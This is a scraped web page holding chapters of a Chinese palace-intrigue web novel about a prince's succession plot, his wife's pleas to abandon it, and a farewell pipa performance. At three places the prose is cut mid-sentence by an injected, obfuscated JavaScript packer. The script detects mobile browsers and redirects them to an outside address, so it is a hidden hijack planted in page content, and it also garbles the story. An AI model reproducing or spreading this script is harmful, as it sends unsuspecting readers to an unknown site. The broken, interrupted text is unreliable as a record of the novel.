自他收到二皇子刘仲的信起,他和还朝便决定了回京夺嫡。 太子刘牧身后有晋国公,他刘茂身后还有齐国公和大胡,未必就比不上太子。 因此刘茂夺嫡的第一步,便是和七皇子刘昶策划了御前弹劾晋国公,待刘茂与刘昶二人弹劾晋国公后,二皇子刘仲再找机会把矛盾引到太子身上,为的是让承道帝处置晋国公削弱太子实力。 虽说此举不能一举搬倒太子,但也能让太子吃些苦头,让太子损失些声誉与威望,还可看清太子在承道帝心中的地位,为下一步夺嫡做好准备。 傅士安临死前留下的血书、千辛万苦手机的万民书、东宫积压的弹劾奏章,刘茂与刘仲本以为随便拿出一件便会重创晋国公,但是谁也没想到承道帝对这些视而不见,非但没有处置晋国公,反而处置了二皇子刘仲。 二皇子刘仲被杖责圈禁,刘茂不得不再重新谋划接下来的夺嫡之路。 真是出师不利。 还朝如今怀有身孕,前几日一路舟车劳顿已是辛苦,刘茂不忍心让还朝担忧,因此昨晚的事情并未全都告诉还朝。 还朝如今这么问,想来是今日拜见母妃时听母妃说的吧。 刘茂眉头微蹙,问道:“可是今日母妃同你说了什么吗?” “今日母妃与我闲聊时,聊到了昨日宴会上,父皇处置了二皇子的事儿。”还朝叹了口气,担忧道:“我这才发现,只怕夺嫡这条路远没有我们想得那么简单。” 还朝握住刘茂的手,一脸忧色道:“母妃还告诉我,在父皇心中,太子始终是太子。” “哼——” 刘茂听后冷哼一声,甩袖坐下,别过头去,不满道:“世上的事大多都说不准,当年父皇还是信王之时,可曾想过有朝一日会坐上龙椅身穿黄袍吗?” “当年皇后还是淑妃时,她可曾想过今时今日她会执掌后印吗?” “事在人为。” “我不信他做太子这么多年,会干干净净得一个把柄都没有。” 刘茂坚定地看向还朝,胜券在握地笑道:“即便是他没有留下把柄,他手下的人难道就是干干净净得没有把柄吗?” “我定会把太子及其党羽的把柄送到父皇面前,我倒要看看,父皇怎么安心的把这天下交给这么一个劣迹斑斑的太子。” 刘茂走向还朝,将还朝搂入怀中,安抚道:“你安心。” “四郎!”还朝轻轻推开刘茂,直视着刘茂,反问道:“父皇看重太子,只要太子有登基的希望,这晋国公就动不得,且只要有人敢动太子,父皇就不会心慈手软。” “四郎和七弟准备的血书和万民书,怎么不算抓住了太子党的把柄呢?怎么就算不上是证据充足呢?” “可在这种情况之下,父皇还是没有处置晋国公,没有处置太子党的任何人。反而是处置了二皇子。四郎难道还没看明白吗?” 还朝一字一句重重敲在刘茂心中,是啊,父皇如此看重太子,他又要怎么努力呢? “我虽已看明白,可是……” 当年刘茂不过才八岁,只因他比太子聪明,皇后嫉妒,便施计让他做了质子,远离亲人远离家乡。 “可是每每想到十二年前与父皇分别,与母妃和妹妹分别,我便恨不得能将这颖州蔡氏一族千刀万剐、碎尸万段。” 刘茂咬着后槽牙,恨恨说道。 一想起十二年前他离开大江去大胡做质子,一想起十二年年他刚到大胡时被胡人欺凌侮辱,愤怒便直冲刘茂大脑。 还朝见刘茂仍不肯放弃,继续劝说道:“太子被册立二十年,在朝中的势力早已根深蒂固不可动摇。倘若你执意要与太子针锋相对,只要他没有被废,还在太子之位一日,我们始终都是谋权篡位的逆贼啊!” “对,你说得对,只要他还在一日,我便是逆贼。” “不行……不行,我们得想个更好的计策。” 刘茂一想到十二年前他受到的难,便控制不住地颤抖,控制不住地发狂,声音发颤道:“颖州蔡氏,是太子的党羽,他们一荣俱荣,一损俱损,我们得想个更好的计策去扳倒他们。” 还朝见刘茂这幅样子,满眼心疼,紧紧抱住刘茂,语气轻柔地安慰道:“四郎,没事的,没事的,我们去陌南,听说那边山清水秀,我们去那边逍遥自在地生活,好不好?” “可是我不甘心,我不甘心!”刘茂心中不甘,扶着还朝的肩膀愤怒地喊道,“每每想起我这十二年来我在大胡做质子的时光,我心中就愤恨不已。” “倘若……倘若我没有做质子,他刘牧能坐得稳这太子的位置吗?太子落在谁头上还未必呢。” 还朝知道勾起了刘茂的伤心事,知道刘茂已经钻了牛角尖,着急地继续劝到:“可是,你与太子相斗,将来只会两败俱伤。若真到那时,大胡再次南下。岂不是又重蹈十二年前的覆辙?还不知道有多少孩子要……” 还朝不忍再继续说下去。 还朝见刘茂仍旧不肯放弃,无奈地叹了口气,继续说道:“母妃说,父皇最是厌恶大胡,我虽为和亲公主的后代,但到底还是有胡人的血统,父皇对你心怀愧疚,为了安抚我们,才让我上宗正寺的玉碟,让我成为了你名正言顺的妻子,但也彻底断了你被册立太子的可能。” “四郎,倘若我不是你的妻子,太子倒台后,你或许还有被册立为太子的可能。” 刘茂捂住还朝的嘴,阻止她在继续说下去,旋即盯着还朝的眼睛,一字一顿地认真说道:“我答应过你叔父,一定会立你当后,我向来重诺,绝不食言。” 刘茂在大胡做质子的时候,只有八岁,受到胡人的欺凌,过了一年非人般的生活。若不是遇到了大胡的小公主还朝,被选做了她的玩伴,还不知道今时他能不能回京呢。 后来刘茂与还朝情投意合,刘茂娶了还朝为妻,并且还答应了还朝的叔父——大胡如今的王,待他日后回京登基,一定会立还朝为后,并开通两国边境,与大胡互市贸易,两军之间再无战争,边境百姓安居乐业,双方友好发展。 虽然刘茂不知道自己什么时候能回去,但因此大胡王开始培养重用刘茂。 刘茂也在伺机等待回京的时机。 还真被他等到了。 二皇子刘仲的一封联络书信,刘茂知道,时机来了。 于是刘茂和胡王带着大胡军队在两国边境操练,一步步靠近永州城,待两军开战后再随机应变,若是战败便和谈送刘茂回京,若是战胜则一举拿下大江助刘茂登基。 之后便是蔡桐蔡桐贪功冒进被俘,七皇子骁勇善战,颇有汉朝名将霍去病之姿。 刘茂见到七弟刘昶后,心中有了个新的计策,为了拉拢七弟给自己增加些夺嫡的筹码,命军队不抵抗,暗中输给刘昶,这才有了七皇子大捷的消息。 从永州大捷到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274213|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 英王和谈,再到回京,一步一步都在他的掌握之中,却唯独没料到太子在承道帝心中的分量这么重。不但没伤及太子,反而把二皇子折了进去。 还朝知道刘茂的品性,是个信守承诺的人,因此听到他这么轻信于她的叔父,很是着急道:“四郎难道你还看不明白吗?当初叔父将我嫁于你,实在是居心叵测啊。” 自己的叔父是个什么样的人,还朝心中最清楚不过了。 还朝的父亲,曾是大胡的王,也是大江派去的和亲公主的儿子,还朝父亲受到和亲公主的影响因此与大江很是亲近,后又娶了个大江的女子为王妃,也就是还朝的母亲。 可叔父却觊觎还朝的母亲,为了得到母亲,设计毒死了父亲,成了大胡新的王。还朝的母亲是大江女子,自然接受不了胡人那里弟弟娶嫂子的习俗,父亲走后不久便自尽了,只留下年幼的还朝。 若不是还朝父亲的旧部一直在保护着她,只怕还朝也活不久了。当能得知质子刘茂能回京后,还朝父亲的旧部便极力促成此事。 如今还朝和刘茂已经离开大胡,还朝是不会再让叔父和他们再扯上关系的。 “四郎,你摸摸我的肚子,里面是我们的孩子。我不希望将来他像我们一样远离故土,像我们一样与父母分别。”还朝抱住刘茂,将刘茂的手放到自己肚子上,眼含热泪,她希望刘茂能够放弃搬倒太子的念头,平平安安地活着。 刘茂摸着还朝的肚子,有些动容,不禁跪下来听着还朝肚中孩子的跳动,眼泪控住不住地流了下来,忍不住哽咽起来。 他和还朝都经历过和父母分别的苦,自然是不想让自己的孩子也经历这些。 “天下人都称赞太子仁慈,晋国公都那样了,太子都还想着包庇他替他隐瞒。四郎是太子的亲弟弟,如今太子将他手下最富庶的封地——陌南给了我们,想来太子也会善待我们的。” 还朝感觉到刘茂哭了,弯腰捧起刘茂的脸说道:“四郎,不如安心地去陌南,偏安一隅,做个潇洒王爷,我们和孩子一起平平安安地活着,可好?” 刘茂叹了一口气,泄了心劲儿,无力道:“还朝,你放心吧,我不争了,我带着你,和我们的孩子,我们一同去陌南,无忧无虑地过以后的日子。” 还朝如释重负地松了口气,和刘茂相互搀扶着缓缓起身。 就在这时,刘茂的亲卫来报:“王爷,二皇子派人来,说要亲自见王爷。” 听到门外亲卫的报信,刘茂和还朝互相擦干脸上的泪水,整理好仪容仪表,好像一副什么都没有发生过的样子。 还朝走至屏风后面,刘茂在桌前坐好,便让亲卫进来:“进来说吧,怎么回事。” 亲卫垂下头回道:“王爷,这个人说是二皇子命他带一封信给王爷。” 刘茂瞥了一眼屏风,眉头紧锁,问道:“信呢?” 刘茂心中不解,他这二哥真是手眼通天,被圈禁了还能送信出来。 亲卫继续回道:“来的人不肯将信交出来,还说一定要见到王爷,要把信亲自交到王爷手上。” 来得那人确实奇怪,衣衫破烂还不太干净,像个叫花子一样,赶又赶不走,还打着二皇子的旗号,一个劲儿地说要见秦王,他们也是没办法才来禀报秦王。 “那——”刘茂正欲让那个人过来一探究竟,但抬头便看到屏风后还朝的身影,想起刚刚还朝说过的话,无奈叹了一口气。 算了,自己已经答应还朝放弃夺嫡,再者自己不日就要离开京城,这种情况下就不节外生枝了。若父皇知道自己与二哥还有来往,只怕自己也要落得个圈禁的结果,到时候就会连累还朝和腹中的孩子。 “把他打出去!” 刘茂冷冷地下命令道:“若以后再有这种不知深浅、故作玄虚之人来,不必请示我,直接乱棒将人打出去。” 亲卫得令后退了出去:“是。” “四郎!” 还朝从屏风后面走出来,欣慰笑道。她刚刚听到是二皇子派人来,生怕刘茂会后悔,在屏风后面暗暗捏了一把汗,现下听刘茂已下令将人打出去,也就放心下来。 刘茂抱住还朝,轻轻地拍着她的后背安抚道:“你放心,答应你的事情一定会做到的。” 还朝在刘茂怀中微笑道: “我信你。” 17. 未定(七)仗势欺人 秦王府外,二皇子派来的门客钱衡量,被王府的护卫打了一顿,后又被扔出了王府。 “秦王殿下有令,若再有这种不知好歹的人闯进来,直接打出去!” “不见就不见,把我好好地请出去不就行了?干嘛还要再打我一顿啊!” 钱衡量揉着因摔打而肿胀疼痛的屁股,不满地嘀咕着。 哼,二皇子还说让他打着二皇子的旗号来找四皇子商量对策呢!却未曾想到这四皇子听了二皇子的名头连见都不见他,还命人将他揍了一顿后又扔出府邸,像躲瘟神一样躲着不见他。 护卫见钱衡量嘴里嘟嘟囔囔,便上前一步威吓道:“哪来的乞丐,也敢来秦王府里坑蒙拐骗,还不快滚,下次再敢来定把你揍得走不了路!” 钱衡量见这架势忙吓得小跳一步,离秦王府远了些。 王府的护卫见钱衡量连蹦带跳地慌乱逃走,纷纷嬉笑几声,过后又各自忙去了。 钱衡量见不到四皇子,一时没了主意,便漫无目的地在街上闲逛,可无奈奔走忙碌一天仍腹中空空,口袋里没有没有半枚铜钱比脸还要干净,不由得叹了口气,门客谋士做到他这份上也是没谁了。 正走着,岂料街边泼出一盆水,正好浇在钱衡量身上。 “你——你——”钱衡量被这盆凉水泼得,一时间气得说不出话来。 店铺里的人见泼中了个乞丐,忙驱赶起来:“去去去!哪儿来的要饭的?” 钱衡量气得鼻子都歪了,指着店铺里面的人怒喝一句:“你——你们——欺人太甚!” 店铺的人不以为意,反倒被钱衡量这样子逗得哈哈大笑,走出店铺,指着身后的牌匾,恶狠狠道:“要饭的,看清楚了,这里是醉云轩,是颖州蔡氏的产业!你几个胆子敢在这里闹事?” “颖州蔡氏?” 永安公主刘安刚从二皇子刘仲府邸回宫去,远远地注意到醉云轩这里围着一大群人,不免多听了一会儿。 刘安听到醉云轩的人仗着颖州蔡氏的名头在欺负百姓,不禁嗤笑冷哼一声。 刘安微微掀起车窗帘子,给了马车旁的护卫金中堂一个眼神,随后便放下窗帘,静静地在马车内等待。 金中堂会意,带着几名手下走近醉云轩。 此时,醉云轩的人扔出来几个硬邦邦发霉的馒头重重砸在钱衡量身上,还在继续羞辱着钱衡量:“这是爷赏你点吃食,你还不带着这些快感恩戴德地滚远些!” “不知他犯了什么事儿?”金中堂挡在钱衡量身前,伸手便接过一个馒头,拿在手中端详片刻,随后抬眼看向醉云轩的这群人,在手中掂着这馒头,一步一步靠近醉云轩的人。 醉云轩的伙计见金中堂几人穿着不凡,身上气质不像普通百姓,不知金中堂背后是什么人,不由得收敛几分。不过这些人转念一想,醉云轩背后可是颖州蔡氏!除了当今陛下,他们会怕谁?再说了,当今陛下若是出行,那阵仗肯定比现在大。 这群人……呵,醉云轩的管事上下打量一番金中堂几人,不屑地呵笑一声,也不知道是几品官儿的护卫,敢来醉云轩多管闲事! “滚滚滚,别在这里碍眼!”醉云轩的人一窝蜂地推搡着金中堂几人。 钱衡量这会儿已经被推到围观的人群中,他同周围的人一样,也在焦急地观望着。 金中堂将手中硬邦邦的馒头用力一掷,馒头牢牢地嵌在醉云轩的牌匾上。 “好!” 醉云轩平日里仗着背后有颖州蔡氏撑腰,没少为难周围的百姓。因此围观的百姓们见有人能让醉云轩吃瘪,纷纷拍手叫好。 醉云轩的人见金中堂身手不凡,相互对视一眼后,暗中叫人去后院寻打手。 醉云轩的管事上前一步,试探道:“不知这位兄台如何称呼?” 金中堂迈上台阶,一步步逼近管事,面无表情地看着管事,掏出公主府的令牌摆在管事的脸上。 管事的一见永安公主的令牌,大惊失色,不可置信地后退几步,目光紧紧盯着令牌,眼神呆滞。 管事的能屈能伸,知道这位永安公主他得罪不起,识趣地带着身后的人向令牌行跪拜礼。 “草民眼拙,惊扰殿下,还望殿下饶恕!” 金中堂站在醉云轩门口,举着令牌,对众人道:“太子殿下曾说过,凡京中百姓,皆为陛下子民。无论是谁,皆应爱护百姓心系子民,而不是站在百姓头上作威作福。” 说罢,金中堂转身低头看向醉云轩的管事,凑到管事近旁,问道:“我方才听管事说,醉云轩是颖州蔡氏的产业,不知颖州蔡氏是否可以置太子殿下的话于不闻不顾之地?” “嗯?”金中堂似笑非笑地看着醉云轩的管事。 管事听后紧张地额头直冒汗,不知该如何回答。 金中堂拍拍管事,随后起身笑道:“以后待人宽厚些。” “是是是。”管事紧张得擦着额头的冷汗,讪笑着。 金中堂见管事已知错,便离开醉云轩,来到永安公主刘安的马车旁复命。 刘安撑着额头,闭目养神道:“出来已经很久了,快些回宫吧。” 待金中堂等人离开醉云轩门口后,醉云轩的人方才站起身来。 管事眼神阴冷地望着攒动的人群,问手下的人:“方才那个惹事儿的乞丐呢?把他带到后院去。 手下人听后便朝着四散的人群中找去。 钱衡量见情况不对,忙混在人堆里,随着人流随意走着,不知不觉间周围鲜少有人声,抬头一看,竟走到了京城南郊荒凉处,不远处那座孤零零的府邸便是二皇子的府邸。 二皇子刘仲出身低微,自小扮做小太监生活在宫中,后在承道帝大赦天下时才被承道帝认回,但不被承道帝所喜爱。 大皇子刘元、大皇女刘安是自承道帝登基时便被册封为英王、永安公主,太子刘牧是出生便被立为储君太子,四皇子刘茂如今也是刚及冠便被册封为秦王,余下六、七、八三位皇子年岁尚小并未封爵,但二皇子刘仲,如今已二十有三,早已过了及冠之间,却至今尚未封爵。 二皇子刘仲不单未被封爵,就连居住的府邸,都在最偏僻荒凉的南郊。 二皇子刘仲先前被承道帝夸奖重用过几日,那几日有不少人来巴结讨好,日子还稍微宽裕一些,只是如今被责骂,想来二皇子的日子会更不好过吧。 唉!钱衡量不由得又是长叹一声,二皇子真是识人不清啊!若二皇子能早些看清四皇子的为人,不在宴会上强出头,那也不会落得如今被杖责圈进的下场,自己如今也不会落到现在这个饥肠辘辘的处境! 想及二皇子被杖责五十,钱衡量有些担心二皇子的伤势,也不知道二皇子的伤有没有好点儿。 钱衡量看着二皇子府门前站得笔直的门卫,不由得心生好奇,他先前来的时候这些人都去吃酒耍钱去了,怎的今日这般尽忠职守? 这让他怎么去见二皇子呢? 钱衡量思索片刻,低头看向自己脏兮兮的衣服,蓬头垢面的样子,心中顿时有了主意。 于是钱衡量装作一个腿脚不灵便的乞丐,一瘸一拐地经过二皇子府邸,绕到二皇子的后院处。 钱衡量小心翼翼地环顾四周,只见周围一片荒凉,鲜有人烟,钱衡量这才放下心来,在后院院墙的墙角处扒拉一番,终于翻到一个狗洞。 只是狗洞有些小,他恐怕钻不进去。 钱衡量看向周围,拾起周边的石头,一点一点地把狗洞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274214|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凿大,后又试了试,费劲地钻了进去。 钱衡量这边弄出的声响惊扰了看守二皇子的守卫。 “你看墙角有什么东西在动?” “哪儿有什么东西,风吹的吧。” 钱衡量听到人声后便停下了动作,一动不动地趴在原地,生怕守卫会过来。 天黑夜冷,此时风也吹了起来,钱衡量和守卫都打了个寒颤。 “你看,我说就是风吧。” “你别说,这夜里还真有些冷哈,我们去前面吃些酒暖和暖和吧。” “要去你去吧。今日永安公主殿下才来过,我可不敢去。” “你傻呀,殿下哪里会天天来这鸟不拉屎的地方呢?” 其中一个守卫犹豫一下,觉得另一个守卫说得很对,二人便一同离开这里,去前院找其他守卫一同吃酒玩儿去了。 钱衡量听到二人走远后,又等了好一会儿,费劲地通过狗洞钻到后院中,又把方才的狗洞藏好,轻手轻脚地来到二皇子所在的房屋内。 “二殿下!二殿下!” 钱衡量蹲在窗下,轻声朝着房内喊去。 二皇子刘仲听到窗外钱衡量的声音,喜出望外,轻声喊道:“衡量!衡量!我腿脚不便,你直接进来吧。” 钱衡量听到二皇子地声音,便小心翼翼地推开房门,来到二皇子刘仲身边。 只见二皇子刘仲略显狼狈地趴在床上。 钱衡量担忧问道:“二殿下,你的伤可好些了?” 二皇子刘仲痛得哼了一声,道:“大姐姐来探望过我,给我带了些上好药膏,说涂上会好得快些。” “那我先为殿下涂上吧。” “这个先不急。”二皇子刘仲急切地问道:“衡量,四弟怎么说?” 刘仲与四皇子刘茂策划弹劾晋国公一事,虽承道帝并未处置晋国公,但承道帝心中定与晋国公与太子生了嫌隙,只要他们合力再抓到晋国公的把柄,他就不信承道帝会再置之不理。 钱衡量望着刘仲期盼的眼神,垂下头叹了一口气,将他如何被秦王府的人打了一顿并赶出来的事情说了出来。 “什么?”刘仲不可置信地看向钱衡量,一把抓住钱衡量的肩膀,紧紧盯着钱衡量,而后突然泄了气般,无奈地自嘲道:“他现在是意气风发的秦王,又怎会与我这种被责罚之人有往来?” “哈哈哈哈哈哈,我真是个天大的笑话!”刘仲突然癫狂大笑。 “二殿下!”钱衡量满眼心疼地看着几近癫狂的刘仲,一时不知该如何安慰他,想了半天才道:“留得青山在,不怕没柴烧!殿下定有东山再起的那一日。” 呵,刘仲听后嗤笑一声,他自小便不被父皇喜爱,得到的恩赏都是最少的,父皇甚至都没正眼看过自己,如今自己又是现在这个样子,还怎么东山再起? 突然,刘仲想到他交给钱衡量的那封信,若被父皇发现,只怕父皇饶不了他,忙问道:“信呢?” “信在这里。”钱衡量从怀中掏出信件,递给刘仲。 因钱衡量被醉云轩的一盆水泼道,信上的字迹被浸湿晕染得有些模糊了。 刘仲见到皱巴的信,舒了口气,命令道:“烧了吧。” “你身上这是怎么回事?掉水坑里了?”刘仲这才注意到钱衡量湿透的衣衫,关切问道。 钱衡量不由得向刘仲抱怨几句:“这是我在街上正走着,醉云轩里迎面便泼出来一盆水,结结实实地便浇在了我身上,幸亏我跑得快,要不然只怕还得再挨一顿打呢。” 醉云轩!刘仲听后气愤不已,这醉云轩仗着背后有颖州蔡氏,便这般欺负人!真是可恶!但随即想到自己如今的现状,也拿他们没有办法,只得无奈叹气一声。 18. 未定(八)十面埋伏 到了四皇子秦王刘茂离京的日子,除了被圈禁的二皇子刘仲,年幼多病的八皇子刘绥,身体不适的大皇子英王刘元,在京中的皇子皇女们都来到城门口送别。 大皇女永安公主刘安率先开口道:“四弟,再过几个月就是八月十五中秋团圆的日子了,父皇说,这是你回来后的第一个中秋节,一定要一家人团团圆圆地在一起。” 四皇子秦王刘茂尊敬地朝着刘安拱手谢道:“多谢大姐姐。” 刘茂八岁前同弟弟妹妹们一样,常被大姐姐刘安教导。大姐姐刘安性情仁厚,对几个弟妹很是宽厚,颇有长姐的风范,想来是大姐姐去求的父皇吧。 五皇女刘宁兴冲冲地对着刘茂说道:“哥哥,待八月十五你回来,我定要和你好好地比试上一场,让你看看我这几年箭术的长进。” “四哥,我也要跟你比一比!”七皇子刘昶也忙跟着说道。 刘茂宠溺地看向这两个弟妹,笑道:“好,待我中秋回来。不过你们两个输了可不要哭鼻子。” “哈哈哈哈哈哈。”几位皇子皇女嬉笑着。 “四弟,请。”太子刘牧为四皇子刘茂敬酒送别。 刘牧对这个弟弟的感情很是复杂,常觉亏欠,又伴有忌惮,还有些血脉亲情。 也算是因他的缘故,致使这个弟弟在大胡做质子十二年之久,因而亏欠。 这个弟弟出生时天生异象,又自幼比他这个太子聪明,致使父皇动了易储的心,因而忌惮。 六皇子刘赞并未说话,在太子身后向刘茂行过拜别礼后,只是淡淡地笑着望着眼前的四哥。 刘茂接过太子刘牧递来的送别酒,一饮而尽。 “太子殿下,告辞。” 刘茂拜别太子,拜别弟弟妹妹,转身上马朝着王妃还朝的马车骑去。 秦王的队伍浩浩汤汤地朝着陌南行去。 车马队伍渐渐消失在道路尽头,众人见状,便也准备要回宫去了。 趁着大家离散,六皇子刘赞悄悄拉了拉七皇子刘昶的袖子,示意他走慢些。 五皇女刘宁无意间瞄到他们二人的小动作,猜测定是他们有什么好玩的不带她,便也放慢了脚步,想看看他们到底要干什么。 六皇子刘赞与七皇子刘昶磨磨蹭蹭上马,待永安公主刘安和太子刘牧先行后,便调头朝着京城外赶去。 五皇女刘宁时刻注意着二人的举动,见状忙加速追赶过去。 “吁——” 五皇女刘宁勒马拦在二人面前,问道,“六弟七弟,你们这是要干什么去?” 六皇子刘赞拦住要开口的七皇子刘昶,得意地摇头晃脑说道:“天机不可泄露。” 五皇女刘宁一挑眉,随即道:“是吗?” “七弟,你告诉我,你们要去哪儿。”刘宁转头向七皇子刘昶问去。 刘昶看了眼刘赞,见刘赞冲他拼命眨眼使眼色,便摇头不肯说。 刘赞得意地望向刘宁,一脸嘚瑟,看吧,七弟还是听我的。 “嗯?”刘宁瞪向刘赞,见刘赞仍旧一副贱兮兮的模样,忍无可忍,将刘赞击落。 刘赞从马背上重重摔在地上,痛得直叫唤,爬起来指着刘宁怒道:“五姐,你太过分了!” “我要找大姐姐评评理!我要去找父皇评评理!” 刘赞带着怒气,一瘸一拐地朝着京城方向走去。 刘宁在刘赞背后得意地摇晃着脑袋,道:“你去呀,我倒要看看大姐姐和父皇是信你还是信我。” 刘昶见他们二人还在耍小孩子脾气,忙插嘴劝道:“哎呀,五姐六哥,你们不要再吵了。” 刘宁别过脸,面向刘昶,别扭道:“谁和他吵了?” “就是你!就是你!有什么话不能好好说吗?非得让我从马上摔下来?” 六皇子刘赞听后,顾不上摔得背疼屁股疼的,小跑几步冲到刘宁面前,指着刘宁气呼呼控诉。 “还不是你们背着我偷偷去玩!”刘宁白了刘赞一眼,嘴里小声嘟囔道。 “六哥说,要去听沈韵姑娘弹琴。”七皇子刘昶见不好再瞒下去,这才如实说道。 “你们早这么说不就好了?”刘宁嗔怪道,不过,刘宁不解地问道:“沈韵是谁?” “哎呀你先别问了,待会儿去晚了可就听不到了。”六皇子不满地道,“你想不想去听?想去的话就快些去,不想去的话就别挡道。” 刘赞看着五皇女刘宁举着的马鞭,吓得躲到七皇子刘昶的马旁,探头探脑地看向刘宁。 七皇子刘昶出来当和事佬,劝五皇女刘宁道:“五姐,沈韵弹琴很好听的,和我们一起去听听看吧。” “错,不是弹琴,是弹琵琶,畅音坊沈韵的琵琶,那可是京中一绝。”畅音坊是六皇子刘赞开的,因此刘赞便开始夸赞沈韵。 “嘁,自吹自擂。”五皇女刘宁不屑地白了刘赞一眼,而后道:“我与你们同去,我倒想看看,这沈韵的琵琶到底有多绝,难道比宫中教坊的乐师还要厉害吗?” “这可真不是我夸,沈韵的琵琶可比教坊的乐师强十倍呢!” 三人边说笑,边快马加鞭地抄近道来到京城外的一座小山丘上,山丘下有座凉亭,那座凉亭在去陌南的必经之路上,在这里一定能等到四皇子的车队。 三人下马趴在小山丘上,等着四皇子刘茂的车队前来。 四皇子刘茂的车队迟迟不来,百无聊赖之际,五皇女刘宁好奇问道:“你们怎么知道沈韵会在这里?” 六皇子刘赞解释道:“沈韵曾答应过四哥,要为四嫂弹奏一曲。听说她近些天闭门不出的,一直在谱曲。今日四哥离京,更是一早就出了城,早早就在凉亭里等着了。” 七皇子刘昶指着凉亭里的人给刘宁看:“喏,就在下面。” 六皇子刘赞凑到刘宁耳边小声说道:“那个带着珠帘帷帽,怀里抱着琵琶的女子就是沈韵。” 小山丘上风声有些大,时而连人声都听不清楚,更别提待会的琵琶声了。 五皇女刘宁吐槽道:“怎么不到凉亭里去听?离得这么远能听到什么?净听风声了。” 六皇子刘赞解释道:“不是我不愿意,只是因为这沈韵脾气怪的很,气性大,若被她发现有人偷听,只怕十天半个月也不会再弹奏了。” 三人正说话之际,四皇子刘茂的车队缓缓来临。 四皇子刘茂带着王妃还朝在凉亭歇息,看到了在这里久等的沈韵,想到还朝最喜欢听人弹琵琶,便带着还朝来见沈韵。 沈韵见到刘茂及还朝,抱着琵琶向他们二人盈盈一拜:“民女沈韵拜见秦王殿下、拜见秦王妃殿下。” “沈韵姑娘快快请起。”还朝抬手让沈韵起身,与刘茂相视一笑,随即平易近人地笑问道:“沈姑娘,我听四郎提起过你,也听闻姑娘的琵琶京中一绝,只是不知我今日是否有幸能听姑娘弹奏一曲。” “我今日来此,便是特地要为王妃弹奏一曲的。”沈韵笑着说道:“听闻王妃是和亲公主的后代,近几日特重新编排谱写一曲——《昭君出塞》,请王妃品鉴。” 还朝道:“请。” 沈韵竖起琵琶,摆好姿势,开始弹奏。 一曲罢,还朝已被曲子中的情绪所感染。 还朝笑着对沈韵说道:“沈姑娘好高超的技艺,我在姑娘的曲中听出了昭君出塞孤寂又悲壮的情绪,这……曲末又有几分的忧愁与……” 前面的情绪还朝能听出来,不过这后面曲调,虽透露着些许愁思,但去掉还有些欢快,还朝有些拿不准了,便问向沈韵:“是否还有些喜悦?” 沈韵解释道:“回王妃,正是,这喜悦之情是和亲公主能够回到故土的喜悦之情。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274215|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >当年昭君出塞后并未回过中原吧,又何来回归故土之喜呢? 还朝眼中含着疑惑看向沈韵,见沈韵眼睛亮晶晶地望着她笑,忽而便明白了沈韵这曲中的意思。 虽说和亲公主并未能回到故土,但她这个和亲公主的后代不是回来了么? 还朝还朝,有朝一日能够带着祖母的念想,回到故土,这便是还朝公主名字的含义。 还朝由衷地赞扬道:“沈姑娘真是巧思!” 还朝想起父亲曾传给她一本琵琶古谱,尤为珍贵,便命人取来,她要送给沈韵。 “沈姑娘,这本古谱是祖母当年和亲时,带到大胡的,只是时间久远,曲谱残缺,有些已经看不清楚了。” “我与沈姑娘投缘,将这本古谱赠与姑娘。”还朝说罢,笑着将古谱赠与沈韵。 沈韵是个痴迷于琵琶之人,接过古谱后翻看了几页,发现竟然是失传已久的《古破阵曲》,瞬时欣喜若狂,忙向王妃行礼表示感谢。 还朝扶起神韵,笑道:“有道是知音难觅,我与沈姑娘今日也算得上是知音了。” “待来日,愿听姑娘弹奏此曲。” 还朝和四皇子刘茂告别沈韵,而后登上马车。 沈韵遥遥一拜:“今日一别,不知何日再见,望亲王妃殿下多保重。” 六皇子刘赞见到此情此景,方才理解了四皇子刘茂曾说的知己含义,原来竟是他想得龌龊了。 四皇子刘茂早就发现了小山丘上的五六七三人,猜到三人是来偷听这京中一绝的琵琶,同还朝说过此事后,便下车去找沈韵。 四皇子刘茂向沈韵作揖道:“沈姑娘,我有个不情之请,我的三个弟弟妹妹们也来了,还望姑娘也能给他们弹奏一曲。” “殿下真是折煞草民了。”沈韵见四皇子给他作揖,吓得忙跪在四皇子刘茂面前。 刘茂笑道:“此一拜,乃知己好友一拜,与身份地位全无关系。” 沈韵应允道:“沈韵定当满足殿下的请求。” “多谢。”四皇子谢过沈韵,便命车队启航,继续前行去陌南。 沈韵待四皇子车队离开后,向趴在山上的三人喊话道:“诸位殿下,山上风大,只恐听不清楚,何不下来听?” 五皇女刘宁他们三人听后,用轻功飞身下来。 